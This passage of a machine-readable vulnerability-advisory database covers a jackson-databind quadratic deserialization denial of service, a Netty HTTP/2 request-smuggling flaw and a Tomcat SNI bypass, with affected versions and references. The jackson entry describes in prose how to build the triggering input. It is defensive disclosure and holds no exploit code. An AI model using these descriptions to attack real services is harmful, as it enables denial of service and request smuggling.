"3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/02/GHSA-cqqj-4p63-rrmm/GHSA-cqqj-4p63-rrmm.json", "last_known_affected_version_range": "< 4.0.0" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ] }, { "id": "GHSA-cxp5-3px4-pw24", "summary": "jackson-databind quadratic forward-reference completion ", "details": "### Summary\n\nWhen an `@JsonIdentityInfo` collection or map first creates N unresolved\nobject-ID references and later resolves the same IDs in reverse order,\njackson-databind scans the remaining pending-reference accumulator for each\nresolution. A shallow JSON document whose size grows linearly can therefore\ncause quadratic CPU work during deserialization.\n\n### Details\n\nThe affected path is forward-reference completion in\n`CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference()`\nand the corresponding map implementation. The implementation performs a\nlinear search of the pending accumulator for every resolved object ID.\n\nThe behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and\n3.2.1. Current 2.22 and 3.2 source branches retained the same design when\nrechecked. A 2.4.0 control fails closed before successful reverse-order\ncompletion, so 2.5.0 is the conservative runtime-confirmed affected floor.\nThe patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.\n\nThe vulnerable application must deserialize attacker-influenced JSON into an\nidentity-enabled collection or map. The issue does not require deep nesting or\nsyntactically unusual JSON.\n\nSuggested correction: replace repeated linear lookup/removal with a keyed\npending-reference structure or another design that provides linear or\namortized-linear completion. A regression should preserve input order,\nduplicate-ID behavior, and unresolved-ID errors while bounding reverse-order\nresolution work.\n\n### PoC\n\nThe proof constructs a shallow collection containing N unresolved\n`@JsonIdentityInfo` references followed by definitions of those same IDs in\nreverse order. Its ID class counts `equals()` calls, giving a deterministic\nwork measure rather than a timing-dependent result.\n\nWith N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An\nequally sized control in which every reference is already resolved performs\nzero comparisons in the pending-reference lookup path. The run is bounded to\na 512 MiB JVM. The result demonstrates quadratic growth: approximately\n`N * (N + 1) / 2` comparisons, plus fixed setup comparisons.\n\n### Impact\n\nAn unauthenticated source that can submit JSON to an application using the\naffected identity-enabled collection or map shape can consume quadratic CPU\nand exhaust a request-time or worker-capacity budget, causing denial of\nservice. The application model/configuration prerequisite is material. No\nconfidentiality, integrity, code-execution, or parser-depth impact is claimed.\n\nRequested credit: Daniel Birtwhistle", "aliases": [ "CVE-2026-91777" ], "modified": "2026-09-30T15:46:18.051343022Z", "published": "2026-09-30T15:37:24Z", "database_specific": { "github_reviewed_at": "2026-09-30T15:37:24Z", "nvd_published_at": "2026-09-23T03:17:04Z", "cwe_ids": [ "CWE-400" ], "severity": "HIGH", "github_reviewed": true }, "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-cxp5-3px4-pw24" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91777" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6204" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6204" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/37ad9b81712cbb9fb62c2d2c1813593252a24b67" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.3" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.3" } ], "affected": [ { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ] } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json", "last_known_affected_version_range": "<= 2.21.6" } }, { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ] } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ], "database_specific": { "last_known_affected_version_range": "<= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" } }, { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ] } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ], "database_specific": { "last_known_affected_version_range": "<= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.5.0" }, { "fixed": "2.18.11" } ] } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.5.0", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ], "database_specific": { "last_known_affected_version_range": "<= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ] } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ], "database_specific": { "last_known_affected_version_range": "<= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-f256-j965-7f32", "summary": "Possible request smuggling in HTTP/2 due missing validation of content-length", "details": "### Impact\nThe content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1\n\nThis is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. \n\n### Patches\nThis was fixed as part of 4.1.61.Final\n\n### Workarounds\nValidation can be done by the user before proxy the request by validating the header.", "aliases": [ "CVE-2021-21409" ], "modified": "2026-09-10T03:49:02.310119365Z", "published": "2021-03-30T15:10:38Z", "related": [ "CVE-2021-21409" ], "database_specific": { "github_reviewed_at": "2021-03-30T15:03:26Z", "nvd_published_at": "2021-03-30T15:15:00Z", "cwe_ids": [ "CWE-444" ], "severity": "MODERATE", "github_reviewed": true }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-f256-j965-7f32" }, { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21409" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/b0fa4d5aab4215f3c22ce6123dd8dd5f38dc0432" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re39391adcb863f0e9f3f15e7986255948f263f02e4700b82453e7102@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re1911e05c08f3ec2bab85744d788773519a0afb27272a31ac2a0b4e8@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdd5715f3ee5e3216d5e0083a07994f67da6dbb9731ce9e7a6389b18e@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdd206d9dd7eb894cc089b37fe6edde2932de88d63a6d8368b44f5101@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd8f72411fb75b98d366400ae789966373b5c3eb3f511e717caf3e49e@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd4a6b7dec38ea6cd28b6f94bd4b312629a52b80be3786d5fb0e474bc@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcae42fba06979934208bbd515584b241d3ad01d1bb8b063512644362@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rca0978b634a0c3ebee4126ec29c7f570b165fae3f8f3658754c1cbd3@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rbde2f13daf4911504f0eaea43eee4f42555241b5f6d9d71564b6c5fa@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rba2a9ef1d0af882ab58fadb336a58818495245dda43d32a7d7837187@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rafc77f9f03031297394f3d372ccea751b23576f8a2ae9b6b053894c5@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rac8cf45a1bab9ead5c9a860cbadd6faaeb7792203617b6ec3874736d@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/raa413040db6d2197593cc03edecfd168732e697119e6447b0a25d525@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra66e93703e3f4bd31bdfd0b6fb0c32ae96b528259bb1aa2b6d38e401@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re4b0141939370304d676fe23774d0c6fbc584b648919825402d0cb39@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re7c69756a102bebce8b8681882844a53e2f23975a189363e68ad0324@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re9e6ed60941da831675de2f8f733c026757fb4fa28a7b6c9f3dfb575@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/redef0fb5474fd686781007de9ddb852b24f1b04131a248d9a4789183@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf148b2bf6c2754153a8629bc7495e216bd0bd4c915695486542a10b4@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf38e4dcdefc7c59f7ba0799a399d6d6e37b555d406a1dfc2fcbf0b35@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf521ff2be2e2dd38984174d3451e6ee935c845948845c8fccd86371d@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf934292a4a1c189827f625d567838d2c1001e4739b158638d844105b@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20210604-0003" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-4885" }, { "type": "WEB", "url": "https://www.oracle.com//security-alerts/cpujul2021.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuoct2021.html" }, { "type": "WEB", "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21295" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0b09f3e31e004fe583f677f7afa46bd30110904576c13c5ac818ac2c@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0ca82fec33334e571fe5b388272260778883e307e15415d7b1443de2@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r101f82d8f3b5af0bf79aecbd5b2dd3b404f6bb51d1a54c2c3d29bed9@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1b3cb056364794f919aaf26ceaf7423de64e7fdd05a914066e7d5219@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2732aa3884cacfecac4c54cfaa77c279ba815cad44b464a567216f83@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r31044fb995e894749cb821c6fe56f487c16a97028e6e360e59f09d58@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4a98827bb4a7edbd69ef862f2351391845697c40711820d10df52ca5@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4b8be87acf5b9c098a2ee350b5ca5716fe7afeaf0a21a4ee45a90687@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4ea2f1a9d79d4fc1896e085f31fb60a21b1770d0a26a5250f849372d@%3Cissues.kudu.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r584cf871f188c406d8bd447ff4e2fd9817fca862436c064d0951a071@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5baac01f9e06c40ff7aab209d5751b3b58802c63734e33324b70a06a@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5cbea8614812289a9b98d0cfc54b47f54cef424ac98d5e315b791795@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5f2f120b2b8d099226473db1832ffb4d7c1d6dc2d228a164bf293a8e@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r602e98daacc98934f097f07f2eed6eb07c18bfc1949c8489dc7bfcf5@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r61564d86a75403b854cdafee67fc69c8b88c5f6802c2c838f4282cc8@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r69efd8ef003f612c43e4154e788ca3b1f837feaacd16d97854402355@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6dac9bd799ceac499c7a7e152a9b0dc7f2fe7f89ec5605d129bb047b@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r70c3a7bfa904f06a1902f4df20ee26e4f09a46b8fd3eb304dc57a2de@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7879ddcb990c835c6b246654770d836f9d031dee982be836744e50ed@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7b54563abebe3dbbe421e1ba075c2030d8d460372f8c79b7789684b6@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r823d4b27fcba8dad5fe945bdefce3ca5a0031187966eb6ef3cc22ba9@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r855b4b6814ac829ce2d48dd9d8138d07f33387e710de798ee92c011e@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r967002f0939e69bdec58f070735a19dd57c1f2b8f817949ca17cddae@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9ec78dc409f3f1edff88f21cab53737f36aad46f582a9825389092e0@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9fe840c36b74f92b8d4a089ada1f9fd1d6293742efa18b10e06b66d2@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra64d56a8a331ffd7bdcd24a9aaaeeedeacd5d639f5a683389123f898@%3Cdev.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra655e5cec74d1ddf62adacb71d398abd96f3ea2c588f6bbf048348eb@%3Cissues.kudu.apache.org%3E" } ], "affected": [ { "package": { "name": "io.netty:netty-codec-http2", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.1.61.Final" } ] } ], "versions": [ "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-f256-j965-7f32/GHSA-f256-j965-7f32.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-f256-j965-7f32/GHSA-f256-j965-7f32.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-f256-j965-7f32/GHSA-f256-j965-7f32.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N" } ] }, { "id": "GHSA-f525-44xv-f2qj", "summary": "Apache Tomcat - HTTP/2 no-authority bypass of strict SNI validation", "details": "Improper Input Validation vulnerability in Apache Tomcat due to incomplete fix for CVE-2026-32990.\n\nThis issue affects Apache Tomcat: from 11.0.20 through 11.0.24, from 10.1.53 through 10.1.57, from 9.0.115 through 9.0.120.\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.59 or 9.0.121, which fix the issue.", "aliases": [ "BIT-tomcat-2026-65637", "CVE-2026-65637" ], "modified": "2026-10-27T15:10:58.130507578Z", "published": "2026-08-26T00:30:52Z", "database_specific": { "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2026-10-27T14:45:10Z", "nvd_published_at": "2026-08-25T22:17:05Z", "cwe_ids": [ "CWE-20" ] }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65637" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/40012414df828a56126f76a7339669c7c919aae7" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/8639b20f045c88f356b887204f52e897399f0de7" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/b823e88da077f5fa973e34d72359bded9f621e3c" }, { "type": "PACKAGE", "url": "https://github.com/apache/tomcat" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/releases/tag/10.1.58" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/releases/tag/11.0.25" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/releases/tag/9.0.121" }, { "type": "WEB", "url": "https://lists.apache.org/thread/djog953z1ohsyt25bdvhfzbmsy22vgcj" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-10.html" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-11.html" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-9.html" } ], "affected": [ { "package": { "name": "org.apache.tomcat:tomcat-coyote", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-coyote" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.20" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-f525-44xv-f2qj/GHSA-f525-44xv-f2qj.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-coyote", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-coyote" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.53" }, { "fixed": "10.1.59" } ] } ], "versions": [ "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57" ], "database_specific": { "last_known_affected_version_range": "<= 10.1.57", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-f525-44xv-f2qj/GHSA-f525-44xv-f2qj.json" } }, { "package": { "name": 